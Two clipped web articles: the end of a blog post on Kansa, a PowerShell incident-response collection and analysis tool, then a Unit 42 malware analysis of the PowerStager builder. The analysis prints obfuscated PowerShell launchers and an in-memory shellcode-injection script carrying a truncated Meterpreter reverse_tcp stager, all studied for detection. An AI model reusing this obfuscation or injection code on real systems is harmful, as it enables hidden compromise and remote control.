Get-LogAppLockerPackagedAppDeployment.ps1  
Get-LogCBS.ps1  
Get-LogSecurity.ps1  
Get-LogShellCoreOperational.ps1  
Get-LogTermSrvcsLocalSessionMgrOperational.ps1  
Get-LogTermSrvcsRemoteConnMgrOperational.ps1  
Get-LogUserAssist.ps1

Most of these are probably easy to understand based on file names, but let’s
cover the last one.  
_Get-LogUserAssist.ps1_ doesn’t actually acquire data from a log file, instead
it reads from each user’s _ntuser.dat_ file and pulls out the contents of the
_UserAssist_ key. UserAssist is a Registry key that stores information about
execution of programs and control panel applets that happen via the Windows
GUI. On some versions of Windows, UserAssist also tracks run count and since
Registry keys have _LastWriteTimes_ \(also acquired by the script\) the data
may give some insight into when a given program was run.

The next set of collectors are found in _.\Modules\Net\_ and the listing
contains:

Get-Arp.ps1  
Get-DNSCache.ps1  
Get-NetIPInterfaces.ps1  
Get-NetRoutes.ps1  
Get-Netstat.ps1  
Get-SmbSession.ps1

These should be largely self-explanatory, but let’s take a moment to look at
_Get-Netstat.ps1_ in a little detail. As you may have guessed, this collector
runs _Netstat_ on each target, but it runs it with the _-naob_ arguments. If
you run this on your systems, your output may look something like the
following:

<img src='img/Temp2_6298.png' alt='image001' />

Imagine collecting this data from thousands of hosts. How would you analyze
it? It doesn’t easily lend itself to automated analysis. _Get-Netstat.ps1_
takes this output and converts it to PowerShell objects. You can run _Get-
Netstat.ps1_ on your own local machine, all of the collectors can be run
locally, and the output will look like this:

<img src='img/Temp2_6296.png' alt='image002' />

Because PowerShell objects can easily be converted to a variety of output
formats, this data is converted by _Kansa.ps1_ to _TSV_ and the final result
looks like this:

<img src='img/Temp2_6300.png' width='664' height='72' alt='image003' />

This is data that can be easily imported into Excel or a database or analyzed
using Microsoft’s free LogParser tool.

But why does _Kansa.ps1_ convert it to TSV? This is actually controlled by
_Get-Netstat.ps1_ via another special comment directive that tells Kansa how
to handle the data returned by the modules. In the case of _Get-Netstat.ps1_ ,
this directive looks like this:

| `# OUTPUT tsv`  
---|---  
The supported output types are bin for binary files \(i.e. memory dumps\),
CSV/TSV, txt, XML and zip. If a module doesn’t return PowerShell objects, the
output type should be one of bin, txt or zip.

The next set of collectors are in _.\Modules\Process\_ and are all process
related:

Get-Handle.ps1  
Get-PrefetchFiles.ps1  
Get-PrefetchListing.ps1  
Get-ProcDump.ps1  
Get-ProcsWMI.ps1  
Get-Prox.ps1  
Get-RekalPslist.ps1  
Get-Tasklistv.ps1

Again, many of these are likely self-explanatory, but let’s touch on a few.
_Get-Handle.ps1_ is another that depends on a Sysinternals utility, this time
_Handle.exe_. _Get-PrefetchFiles.ps1_ and _Get-PrefetchFileListing.ps1_ both
pull data from _$env:windir\Prefetch\_ with the first adding all .pf files in
that directory to a zip archive and sending them back to the host where Kansa
was run. _Get-PrefetchFileListing.ps1_ simply returns the directory listing
along with time stamp information.

If you’re not familiar with the Windows Prefetch, it’s a feature that’s
enabled on Windows desktop OSes, but turned off by default on servers and its
purpose is to improve performance, but it has side-effects that benefit
forensic investigators and incident responders. Prefetch files include a run
count that is incremented each time a program is run. That incrementing
requires a modification to the respective .pf file and that means that .pf
file’s _LastWriteTime_ will be updated, providing a solid indicator of when
the program was run.

_Get-ProcDump.ps1_ uses Sysinternals ProcDump.exe command to collect a
specified process’s memory. Naturally this must be configured to grab the
process of interest.

_Get-ProcsWMI.ps1_ uses _Get-WmiObject_ to pull information about running
processes including parent process ID, process creation time, and command line
arguments for running processes. This script also pulls MD5 hashes of the
process’s image on disk. Other hashes are available by tweaking the script to
return a different hash.

_Get-Prox.ps1_ runs the PowerShell _Get-Process_ cmdlet, which returns some
great information including loaded modules and data about threads, but it
doesn’t return command line arguments, parent process ID or information about
the process owner, hence the need for _Get-ProcsWMI.ps1._ We’ll come back to
_Get-RekalPslist.ps1_ in a moment.

The _Get-Tasklistv.ps1_ script returns process session name, session number
and process owner all of which can be useful during investigations.

It would be awesome if PowerShell’s Get-Process cmdlet would return all of its
great data, plus the items gathered by _Get-ProcsWMI.ps1_ and the two _Get-
Tasklist_ scripts, but for now, we have to run multiple scripts to get the
data we need. I have opened issues with the PowerShell team requesting these
improvements to _Get-Process_. You can vote up my open issue here.

Back to _Get-RekalPslist.ps1_. This collector is a useful proof-of-concept,
but not something I use very often. One of the issues savvy IR folks have
raised about Kansa is that it relies on the Windows API for most of the data
it collects. If an attacker is using rootkits, they may be subverting those
API calls and causing them to return bogus data.

For this reason, most IR folks prefer tools that don’t rely on the Windows
API. One common technique is to use a tool to acquire a copy of a system’s
memory, there are a variety of tools for this, but _WinPMem_ may be the
current best of breed and it’s also free as part of the Rekall Memory Forensic
Framework \(http://www.rekall-forensic.com/about.html\). Rekall is a fork of
the Volatility Memory Analysis Framework
\(http://www.volatilityfoundation.org/\).

One benefit of Rekall over Volatility is that it can be used to perform memory
analysis on running systems without first having to acquire a copy of memory
and without the need for commercial tools to expose live memory for analysis
\(this is the current requirement for Volatility to do live memory analysis\).
When working with systems around the world that may commonly have 192 GB of
RAM, having to acquire a copy of memory for analysis can be problematic.

With that lengthy explanation of Rekall out of the way, what does _Get-
RekalPslist.ps1_ do then? When _Kansa.ps1_ is run with the _-Pushbin_
argument, it directs Kansa to copy a zip archive of Rekall to targets, this is
a whopping 17 MB file, then it decompresses the archive to a 35 MB folder on
the target, loads the _winpmem.sys_ driver, which has ring 0 access and then
calls the _PSlist_ module to acquire information about processes from memory,
including recently exited processes and unlinked processes that may be hidden
by rootkits. Rekall has many other useful plugins for finding data that may be
inaccessible via APIs, if rootkits are in play.

So even though Kansa relies on PowerShell and PowerShell relies on the Windows
API and the Windows API can be subverted by adversaries and therefore provide
unreliable information, there are workarounds. And that’s it for the current
set of collectors.

# So, how do we run Kansa?

Below is an example command line for running Kansa:

| `PS C:\tools\Kansa> .\kansa.ps1` `-TargetList` `.\hostlist` `-Pushbin`
`-Verbose`  
---|---  
Let’s discuss the command line arguments._-TargetList .\hostlist_ tells
_kansa.ps1_ to run collectors against the systems listed in the hostlist file,
which contains one host per line. If you omit this argument, Kansa will query
ActiveDirectory for the list of computers and target all of them. Querying AD
in this way requires this ActiveDirectory module that’s bundled with Remote
Server Administration Tools so you’ll need that installed if you’re not
providing a list of targets via _-TargetList_ \(http://www.microsoft.com/en-
us/download/details.aspx?id=39296\). _-Pushbin_ instructs _kansa.ps1_ to copy
any required third-party binaries to targets.

Here’s what my screen looks like when I run this command:

<img src='img/Temp2_6301.png' alt='image004' />

You can see by the output that my .\hostlist file in this example only
contains two hosts. I have run Kansa against thousands of hosts at a time
located around the world and in my experience, it generally completes its
collection in under an hour, but there are many variables to consider
including which modules you run, where your hosts are located, how much
bandwidth you have, etc. In my example run above, each host returned about 100
MB of data, but again, this will vary based on which modules you run.

After Kansa finishes running, it will let you know if encountered any errors
by telling you to look in the Errors.log file which will be in the Output
directory. All Output directories are time stamped. Let’s take a look at the
one that was just created as part of the sample run above:

<img src='img/Temp2_6299.png' alt='image005' />

I ran the ls command above before the script completed, but you can see that
Kansa creates an output directory for each module. If we dive in one more
layer, you’ll see that each host’s output is broken out in each module output
directory:

<img src='img/Temp2_6302.png' alt='image006' />

That covers it from the collection side of the house, but there’s more to
cover.

# Data requires analysis

Recall from earlier in this post when we first extracted the Kansa release
archive. We noted the presence of an Analysis subfolder. Kansa’s original
purpose may have been about acquiring data, but acquired data must be analyzed
in order to be useful during an investigation. So Kansa includes a few dozen
scripts that can be used to analyze the collected data. Many of these require
Microsoft’s free LogParser utility and they expect it to be in the path.

Let’s take this from the top with a look in the Analysis folder:

ASEP  
Config  
Log  
Meta  
Network  
Process

You’ll notice the directory structure here follows closely with the directory
structure under the _.\Modules\_ path. Under the ASEP folder, you’ll see:

Get-ASEPImagePathLaunchStringMD5Stack.ps1  
Get-ASEPImagePathLaunchStringMD5UnsignedStack.ps1  
Get-ASEPImagePathLaunchStringPublisherStack.ps1  
Get-ASEPImagePathLaunchStringStack.ps1  
Get-ASEPImagePathLaunchStringUnsignedStack.ps1  
Get-SvcAllRunningAuto.ps1  
Get-SvcAllStack.ps1  
Get-SvcFailAllStack.ps1  
Get-SvcFailCmdLineStack.ps1  
Get-SvcFailStack.ps1  
Get-SvcStartNameStack.ps1  
Get-SvcTrigStack.ps1

Again, I won’t detail all of the analysis scripts, but I will cover a few. For
the most part, the analysis scripts perform frequency analysis. Kansa’s
strength is that it makes it easy for investigators to collect data from many
machines. Frequency analysis makes it easy to spot anomalies in environments,
especially if you’re comparing machines that are well-managed and that should
be similar in configuration – say maybe all systems in a given department,
Human Resources or Finance, or servers in a data center belonging to a
specific role – database servers, web servers, etc.

The _Get-ASEP\*_ scripts above perform frequency analysis of data collected by
_Get-Autorunsc.ps1_. The first one, _Get-
ASEPImagePathLaunchStringMD5Stack.ps1_ performs frequency analysis of
Autorunsc data aggregated on the path to the executable or script
\(ImagePath\), the command line arguments \(LaunchString\) and the MD5 hash of
the binary or script on disk. The next analysis script performs the same
frequency analysis, but it filters out executables that have valid code
signing certificates, which may not be given that attackers have been known to
steal code signing certs and use them to sign malware.

Here’s an example of stacked output for unsigned _Get-Autorunsc.ps1_ data
collected from 10 domain controllers:

| `cnt Image Path MD5``---
-----------------------------------------------------
--------------------------------``10 c:\windows\system32\cpqnimgt\cpqnimgt.exe
78af816051e512844aa98f23fa9e9ab5``10 c:\hp\hpsmh\data\cgi-
bin\vcagent\vcagent.exe 54879ccbd9bd262f20b58f79cf539b3f``10
c:\windows\system32\cpqmgmt\cqmgstor\cqmgstor.exe
60668a25cfa2f1882bee8cf2ecc1b897``10 c:\program
files\hpwbem\storage\service\hpwmistor.exe
202274cb14edaee27862c6ebce3128d8``10 c:\hp\hpsmh\bin\smhstart.exe
5c74c7c4dc9f78255cae78cd9bf7da63``10
c:\msnipak\win2012sp0\asr\configureasr.vbs
197a28adb0b404fed01e9b67568a8b5e``10 c:\program files\hp\cissesrv\cissesrv.exe
bf68a382c43a5721eef03ff45faece4a`  
---|---  
The first column here is the count or the frequency of occurrence for the give
Image Path and its associated MD5 hash. We can see that all 10 domain
controllers have the same set of seven unsigned ASEPs, so there are no
outliers here, but if we wanted to analyze this further, we could copy the MD5
hashes and search for them in NIST’s National Software Reference Library
\(http://www.nsrl.nist.gov/\) or in VirusTotal
\(https://www.virustotal.com/\#search\) and see if they come back as clean,
malicious or unknown.

Under _.\Analysis\Config\_ there is a single script, _Get-LocalAdminStack.ps1_
, which can be used to find unusual local administrator accounts.

_.\Analysis\Log\_ also contains a single analysis script, _Get-
LogUserAssistValueStack.ps1_ , which is useful for finding unusual entries
from the UserAssist data that was collected by Kansa.

There are two scripts under _.\analysis\Meta\_ :

Get-AllFileLengths.ps1  
Get-FileLengths.ps1

Unlike most of the analysis scripts, these two don’t perform frequency
analysis. But they are still useful for spotting outliers. You can run the
first one to return a grid view window of all the collected Kansa output files
and their lengths and the second one will return a grid view window of some
specific collected files and their lengths. What’s useful about this? Recall
the discussion about WMI Event Consumers? Below is the output of _Get-
FileLengths.ps1 –FileNamePattern \*wmievtconsmr.xml_ :

<img src='img/Temp2_6297.png' alt='image007' />

Each BaseName in the grid view window above contains the name of a fictitious
system, followed by an underscore and an indicator of the data contained in
the file, so these are WMI Event Consumers from many hosts, several thousand
in this case. Simply sorting by file size is enough to find outliers. Analysis
does not have to be complicated to be effective.

In the _.\Analysis\Net\_ directory, you’ll find the following analysis
scripts:

Get-ARPStack.ps1  
Get-DNSCacheStack.ps1  
Get-NetstatForeign16sStack.ps1  
Get-NetstatForeign24sStack.ps1  
Get-NetstatListenerStack.ps1  
Get-NetstatStack.ps1  
Get-NetstatStackByProtoForeignIpStateComponentProcess.ps1  
Get-NetstatStackForeignIpPortProcess.ps1  
Get-NetstatStackForeignIpProcess.ps1

The purpose of each of these should be fairly apparent._Get-
NetstatForeign16sStack.ps1_ and _Get-NetstatForeign24sStack.ps1_ are useful
for getting an idea of what networks your hosts may be communicating with.
These scripts will likely need some editing for your environment as they
currently make assumptions about internal networks using RFC1918 addresses.
The 16 and 24 scripts, as you may guess, apply CIDR block notation and
aggregate connections based on the first two and three ForeignAddress octets,
this may not be the most accurate analysis, but it’s good for quick analysis.

And lastly the analysis scripts in _.\Analysis\Process\_ :

Get-HandleProcessOwnerStack.ps1  
Get-PrefetchListingLastWriteTime.ps1  
Get-PrefetchListingStack.ps1  
Get-ProcsWMICLIStack.ps1  
Get-ProcsWMICmdlineStack.ps1  
Get-ProcsWMISortByCreationDate.ps1  
Get-ProcsWMITempExePath.ps1  
Get-ProxSystemStartTime.ps1

I won’t go into details on these as I think you can get an idea of what they
do based on their names and if you want to know more about them, check out the
project on GitHub.

# Data collected and analyzed, next step: Remediation

You’ve seen how Kansa can be used to collect and analyze data. If you were
working a real security incident, at this point you may have a good
understanding of your adversary, what backdoors they’ve planted, what
processes they’ve injected into, what domains they are using for command and
control \(C2\) and you may have figured out how they originally entered the
environment.

The next thing to do is make sure the original vector is fixed so they can’t
use it to come back, then you’ve got to carefully execute a very well-
coordinated remediation plan. Remediation planning should take place in
parallel with your investigation. As you find new adversary artifacts, someone
on the team should be documenting how they will need to be remediated. Say you
find evidence that the adversary has run a credential stealing tool on many
hosts, you know that you should roll all passwords in the environment. If
you’ve found C2, you may want to block access to it during remediation. For
all the backdoors you’ve found, figure out how to remove them. You may have to
wipe hard drives and completely re-install many systems or in a worst case
scenario, completely forklift hardware.

I have worked cases against red teams, however, where they used a fairly light
touch, installing backdoors that could be easily removed, injecting into
processes that could be stopped and restarted without impacting services. If
you find yourself working a similar case, you can use Kansa for remediation.

You can write a PowerShell script to carry out remediation tasks – stopping
rogue processes, removing persistence mechanisms, implementing host-level
firewall rules to block C2, etc. Maybe you save this script as Get-
_Remediation.ps1_ , then you run the following command:

| `.\kansa.ps1 –ModulePath .\``Get-Remediation``.ps1 –TargetList Owned
–ThrottleLimit 100`  
---|---  
Because you’re carrying out actions that likely won’t be returning any data,
you may safely bump up the _-ThrottleLimit_ allowing you to act quickly,
ideally before your adversary has a chance to respond.

With round one of remediation completed, you’ll want to closely monitor your
environment for any signs that the adversary is still active. There may be
things you missed, like that web shell they planted, but never used and so the
battle continues.

I hope you’ve enjoyed this tour of Kansa and its capabilities. It’s been one
of the most fun and rewarding personal projects I’ve undertaken. It scratches
a personal itch, but I sincerely hope that others find it useful, as well. I
hope you’ll check it out and please contribute, whether its code, bugs or
feature requests.

### Share this:

### Like this:

Loading...

# PowerStager Analysis - Palo Alto Networks Blog

**Created:**| _3/7/2018 8:53:57 AM_  
---|---  
**Updated:**| _3/7/2018 8:53:57 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis powershell_  
  

  

# PowerStager Analysis

<img src='img/Temp2_6337.jpg' width='110' height='110' alt='Jeff White' />

By Jeff White  
January 12, 2018 at 5:00 AM  

Category: Unit 42

Tags: Powershell, PowerStager

 12,585 \(14\)

 

Introduction

In this blog post I’m going to be taking a look at a tool called PowerStager,
which has been flying under the radar since April of 2017. The main reason it
caught my attention was due to a fairly unique obfuscation technique it was
employing for its PowerShell segments which I haven’t seen utilized in other
tools yet. When tracking this technique, I saw an uptick in usage of
PowerStager for in-the-wild attacks around December 2017.

I’ll cover how the tool works briefly and then touch on some of the attacks
and artifacts that can be observed.

PowerStager Overview

At its core, PowerStager is a Python script that generates Windows executables
using C source code and then, utilizing multiple layers of obfuscation,
launches PowerShell scripts with the end goal of executing a shellcode
payload. There are quite a few configuration options for PowerStager which
gives it a fair amount of flexibility. Below are a some of the listed
configuration options from the code:

  * Ability to choose target platform \(x86 or x64\)
  * Ability to use additional obfuscation on top of defaults
  * Ability to display customized error messages/executable icon for social engineering
  * Ability to utilize Meterpreter or other built-in shellcode payloads
  * Ability to fetch remote payloads or embed them into the executable
  * Ability to escalate privileges using UAC

For the samples I’ll be covering, the general flow is laid out in the
following image.

<img src='img/Temp2_6336.jpg' width='600' height='859' alt='Picture1' />

_Figure 1. PowerStager Execution Flow_

I’ll cover each piece before diving into the bulk analysis of all samples
observed thus far.

  
PE Analysis

It should be noted that most of this analysis was prior to actually finding
the source code. After looking at numerous samples, it was clear that they
were being generated programmatically and so I set out to try and identify the
source.

Within each of the executables was an embedded string for the file that gets
created.

1 | 004015BC |. C74424 08 05F04>MOV DWORD PTR SS:\[ESP+8\],75809731.0040>; ASCII "%s\\\A62q1gMHhRWy"  
---|---  
The file name is randomized between samples which was a major clue that there
was a builder. This value is again referenced later on deep within multiple
layers of PowerShell scripts and gave further credence to this theory, as
typically these random file names are generated on the fly and not embedded
within.

The initial executable created by PowerStager is pretty straight forward. It
gets the %TMP% environment path and creates the file with the embedded file
name. Afterwards it performs two memcpy\(\) calls for data found within the
.data section of the executable and moves them into a new memory page. For the
sample looked at in this analysis, the first memcpy\(\) grabs data from offset
0x20 in the .data section, whereas the second memcpy\(\) grabs the same size
of data from offset 0x67E0. Finally, it runs a decoding function on it before
finally saving it to the file.

12345678910111213141516171819202122232425 | 0040164E |> /8D95 D8C6FFFF /LEA EDX,\[LOCAL.3658\]00401654 |. |8B45 F4 |MOV EAX,\[LOCAL.3\]00401657 |. |01D0 |ADD EAX,EDX ; 75809731.004067E000401659 |. |0FB618 |MOVZX EBX,BYTE PTR DS:\[EAX\]0040165C |. |8B4D F4 |MOV ECX,\[LOCAL.3\]0040165F |. |89C8 |MOV EAX,ECX00401661 |. |C1E8 06 |SHR EAX,600401664 |. |BA 9D889704 |MOV EDX,497889D00401669 |. |F7E2 |MUL EDX ; 75809731.004067E00040166B |. |89D0 |MOV EAX,EDX ; 75809731.004067E00040166D |. |C1E8 02 |SHR EAX,200401670 |. |69C0 C0370000 |IMUL EAX,EAX,37C000401676 |. |29C1 |SUB ECX,EAX00401678 |. |89C8 |MOV EAX,ECX0040167A |. |0FB68405 188FFF>|MOVZX EAX,BYTE PTR SS:\[EBP+EAX+FFFF8F18\]00401682 |. |31C3 |XOR EBX,EAX00401684 |. |89D9 |MOV ECX,EBX00401686 |. |8D95 D8C6FFFF |LEA EDX,\[LOCAL.3658\]0040168C |. |8B45 F4 |MOV EAX,\[LOCAL.3\]0040168F |. |01D0 |ADD EAX,EDX ; 75809731.004067E000401691 |. |8808 |MOV BYTE PTR DS:\[EAX\],CL00401693 |. |8345 F4 01 |ADD \[LOCAL.3\],100401697 |> |8B45 F4 MOV EAX,\[LOCAL.3\] ; ||||0040169A |. |3D BF370000 |CMP EAX,37BF ; ||||0040169F |.^\76 AD \JBE SHORT 75809731.0040164E ; ||||  
---|---  
The second set of data is an equal length XOR key and this function just XORs
each byte of the two segments of data and then writes the output to the file.

It goes through this process one again, copying two sections of data from the
.data section and XOR’ing them together to decode the first of the PowerShell
commands which it then passes to CreateProcessA\(\); this command will be
analyzed in the next section.

Finally, the executable calls MessageBoxA and displays a fake error message.
Note that tool gives the user the option whether to include this error
message.

PowerShell Analysis

The first PowerShell script that gets launched begins with simple Hex -> ASCII
obfuscation. Between samples, the arguments are random camel case and
shortened differently each time.

1 | PowerSHeLl -WiNdOwsty hiDDeN -comMA "\(-JoIn\(\('2628277b317d7b307d27 …  
---|---  
Looking at the source code now, you can see where it passes these arguments to
an obfuscation function which makes identification from this perspective alone
more difficult.

1 | : "\[\_OBF\_POWERSHELL\_\] -\[\_OBF\_WINDOWSTYLE\_\] \[\_OBF\_HIDDEN\_\] -\[\_OBF\_COMMAND\_\] \"\[\_PS\_LOAD\_\]\"",  
---|---  
While the commands and case may change, the order does not.

The decoded script is the first one utilizing the unique obfuscation technique
mentioned previously. Its combines multiple styles of token replacement
obfuscation and chains together Invoke functions to build a new script which
simply base64 decodes and executes a third script.

Below is what you typically find with token replacement \(composite
formatting\) obfuscation.

1 | \('\{2\}\{1\}\{3\}\{0\}'-f'LE','i','Set-Var','ab'\)  
---|---  
This builds the string “Set-Variable” by replacing each “\{\#\}” with the
respective string value found at that index in the array.

The new method works on the same premise but instead of directly calling the
index, it builds the initial string of format items by doing two replace\(\)
calls. Visually, it’s not much more difficult to understand and builds the
string “value”, but from a scanning perspective it helps to further obfuscate
commands and protect against common signature techniques.

1 | \(\('4 2 1 0 3'-REpLaCe'\w+','\{$\{0\}\}'-RePLACE' ',''\)-f'u','l','a','e','v'\)  
---|---  
The third script that gets executed in this phase is again a combination of
obfuscation techniques that, as now known from the source code, go through
individual obfuscation functions that vary this code sample to sample.

1 | &\(\('9 0 7 2 4 8 6 5 8 3 1 0'-RePlace'\w+','\{$\{0\}\}'-rEPLACe' ',''\)-f'e','l','-','b','v','i','r','t','a','s'\) yZs6ssMMnN2l 27;&\('SEt-VariaB'+'l'+'e'\) ymr1vVoTcIP3 44;&\('\{1\}\{0\}'-f'E','SeT-VaRiaBL'\) lMRIO47kiset 11;&\('Se'+'t-vA'+'riabLE'\) x6ZzoiDv0Y3X\(\(\(\(.\('Get-'+'vAR'+'iAbLe'\) yZs6ssMMnN2l\).\('vALU'+'e'\)+18\)-AS\[chaR\]\).\('tOST'+'R'+'i'+'ng'\).InvoKe\(\)+\(\(\(&\(\('8 7 5 6 3 0 1 4 0 2 9 7'-rEpLaCE'\w+','\{$\{0\}\}'-RePlaCE' ',''\)-f'a','r','b','v','i','t','-','e','g','l'\) ymr1vVoTcIP3\).\(\('3 1 4 0 2'-REplaCE'\w+','\{$\{0\}\}'-rePLaCE' ',''\)-f'u','a','e','v','l'\)+57\)-As\[cHaR\]\).\('TOStr'+'In'+'G'\).iNVOKE\(\)+\(\(\(&\('GEt-vAriaBlE'\) lMRIO47kiset\).\('va'+'Lu'+'e'\)+88\)-AS\[CHAr\]\).\('\{1\}\{3\}\{2\}\{0\}'-f'NG','tOs','i','TR'\).InVokE\(\)\);poWErshell -noNiNtERA -NOLO -NOprOF -window HIDdeN -eXe BypAss \(&\('GET-vaRi'+'AbLE'\) x6ZzoiDv0Y3X\).\(\('1 0 3 4 2'-rEpLaCe'\w+','\{$\{0\}\}'-rEPlaCe' ',''\)-f'a','v','e','l','u'\).\('tOsTri'+'n'+'g'\).INvokE\(\)\(\[chaR\[\]\]\(\(\[chAr\[\]\]\(&\('new-o'+'bje'+'c'+'T'\) \(\('7 5 0 8 3 5 6 2 1 4 5 7 0'-replAcE'\w+','\{$\{0\}\}'-rEplAcE' ',''\)-f't','l','c','w','i','e','b','n','.'\)\).\(\('10 4 5 7 3 4 9 10 6 0 8 2 7 1'-RePLAcE'\w+','\{$\{0\}\}'-repLAcE' ',''\)-f't','g','i','l','o','w','s','n','r','a','d'\).InVOke\($env:temp+'\A62q1gMHhRWy'\)\)|%\{$wlITpDaitdSn=0\}\{$\_-bxOr'cwqslBksSTba7qa7VJqrWOEWo4nQo41P'\[$wlITpDaitdSn++%32\]\}\)-jOIN''\);Remove-Item $env:temp'\A62q1gMHhRWy'  
---|---  
The meat of this script is towards the very end. Here you can see that it
loads the file that was written to disk by the executable \(“A62q1gMHhRWy”\)
and then does a binary XOR with the key “cwqslBksSTba7qa7VJqrWOEWo4nQo41P”.
Again, this is all randomized, including the XOR key, but seeing the static
file name value this deep into the sample was a key indicator that this was
likely generated from a tool and not manually crafted at scale.

Once decoded it results in another PowerShell script that begins like the very
first, with a Hex->ASCII obfuscation that gets invoked.

1 | \(-Join\(\('24706950745a4e78723166354b3d26282761 …  
---|---  
Finally, it launches a script which does the tried and true shellcode
injection technique. The framework for this script can be found in most
PowerShell offensive tools, but effectively it calls VirtualAlloc\(\) to
create memory for the shellcode to reside, memset\(\) to copy the shellcode
in, and then CreateThread\(\) to transfer execution to the shellcode after a
long sleep, which is included for sandbox avoidance.

123 | $piPtZNxr1f5K=&\('ad'+'d-'+'TyPE'\) -m '\[DllImport\("kernel32.dll"\)\] public static extern IntPtr VirtualAlloc\(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect\);\[DllImport\("kernel32.dll"\)\] public static extern IntPtr CreateThread\(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId\);\[DllImport\("msvcrt.dll"\)\] public static extern IntPtr memset\(IntPtr dest, uint src, uint count\);' -name 'Win32' -ns Win32Functions -pas;\[byTE\[\]\]$RDm7s2YDUaBL=0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52, …<TRUNCATED>…0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x1,0xc3,0x29,0xc6,0x75,0xee,0xc3;$lXw9sqCMdGHQ=$piPtZNxr1f5K::\('\{2\}\{1\}\{0\}\{3\}'-f'o','lAll','viRtuA','C'\).inVokE\(0,\[Math\]::\(\('2 0 1'-REpLAcE'\w+','\{$\{0\}\}'-rEPlaCe' ',''\)-f'a','x','m'\).INvoke\($RDm7s2YDUaBL.\(\('1 5 2 3 0 4'-RepLaCe'\w+','\{$\{0\}\}'-ReplAce' ',''\)-f't','l','n','g','h','e'\),0x1000\),0x3000,0x40\);for\($Zxv0oxgiqKpR=0;$Zxv0oxgiqKpR -le \($RDm7s2YDUaBL.\('lEn'+'G'+'T'+'h'\)-1\);$Zxv0oxgiqKpR++\)\{\[VoID\]$piPtZNxr1f5K::\(\('0 3 0 2 3 1'-RepLAce'\w+','\{$\{0\}\}'-rEplacE' ',''\)-f'm','t','s','e'\).INVOKe\(\[InTptr\]\($lXw9sqCMdGHQ.ToInt32\(\)+$Zxv0oxgiqKpR\),$RDm7s2YDUaBL\[$Zxv0oxgiqKpR\],1\)\};$piPtZNxr1f5K::\('CrEatETHrE'+'A'+'d'\).InvoKE\(0,0,$lXw9sqCMdGHQ,0,0,0\);.\('\{0\}'-f'STarT-slEep'\) 100000  
---|---  
The shellcode is fairly standard and won’t be looked at here; however, there
are multiple static shellcode blobs within the source code and then the option
to embed a Meterpreter reverse\_tcp shellcode. For the handful of ones I
manually looked at, every single instance was the embedded “reverse\_tcp
stager” found in the source code.

In total, there are 7 total PowerShell scripts that can be generated from the
script and the commented names are listed below and show the general process
of execution that I tried to illustrate at the beginning.

1234567 | MainBase64 decoderXOR decryptorSystem.Net.WebClientEncoded commandMemory injectionReverse powershell  
---|---  
All in all, I feel it’s a well put together framework that offers good
obfuscation and flexibility in avoiding detection.

Detection in the Wild

Now that I’ve analyzed the samples and found the source code, which confirms a
lot of the above analysis efforts, I’ll talk briefly about attacks seen in the
wild.

As of December 29th 2017, Palo Alto Networks has observed 502 unique samples
of PowerStager in the wild. In instances where I was able to identify a
target, they all belonged to Western European Media and Wholesale
organizations; however, there were also many samples that were identified as
being used for testing and sales proof-of-concepts demonstrations. I don’t
find this surprising as blue teams, red teams, and security companies
frequently test out new tools to continue innovating.

Looking at the statically configured file name across the samples, only 7 file
names were used more than once with one file name found across 9 samples. All
of the duplicate file names were related to testing – eg. scan a file, add a
byte, scan the file again, slightly modify the file in some other way, scan
again, so on and so forth.

When building the samples, PowerStager includes a Manifest in the C source
code that defines certain attributes of the executables. This provides a
decent mechanism to track the samples, although it is trivial to change.
Specifically, the “Description” field is static and the “Company Name” always
ends with “ INC.”.

123456 | rc\_company\_name = names.get\_last\_name\(\) + " INC."rc\_description = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit."rc\_internal\_name = "".join\(random.SystemRandom\(\).choice\(string.ascii\_uppercase + string.digits\) for \_ in range\(10\)\)rc\_legal\_name = names.get\_full\_name\(\)rc\_original\_filename = output.split\("/"\)\[-1:\]\[0\]rc\_product\_name = rc\_internal\_name  
---|---  
You’ll note that the “Original Filename” field is set to part of the “output”
variable. This is a mandatory field specified at compile time and provides a
tiny glimpse into the person behind the sample. While there were over 427
unique values in this field, the below table shows the names for files tied to
more than one sample.

Sample Count | Original Filename  
---|---  
12 | test  
9 | love  
8 | youtube  
5 | 123  
4 | payload  
3 | virus  
3 | test32  
3 | powerstager  
3 | powershell  
3 | hack  
2 | yit  
2 | windows  
2 | win7  
2 | try4  
2 | transaction  
2 | test1  
2 | server  
2 | rat  
2 | oneshot.exe  
2 | nudes.exe  
2 | install  
2 | fist1  
2 | demon.exe  
2 | carlos  
2 | backdoor  
2 | abc  
2 | Test  
2 | Okari  
2 | 555  
2 | 1  
_Table 1 Repeated filenames across samples_

Other notable names include the usual targets for executable masquerading:
vnc, vlc, Skype, Notepad, and Minecraft.

Additionally, the “ProductName” field will always be a 10-character string
with mixed upper-case letters and digits.

These all provide useful methods to statically characterize these files and,
coupled with unique obfuscation and PowerShell methods during dynamic
analysis, a solid way to identify them.

For error messages, all but 30 samples included the default error message. The
ones that did not simply contained no error message.

The following YARA rule will provide additional coverage for the x86 and x64
variants of the generated Windows executable.

